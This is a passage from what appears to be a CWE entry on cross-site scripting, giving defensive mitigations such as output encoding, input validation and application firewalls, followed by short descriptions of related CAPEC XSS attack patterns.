- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.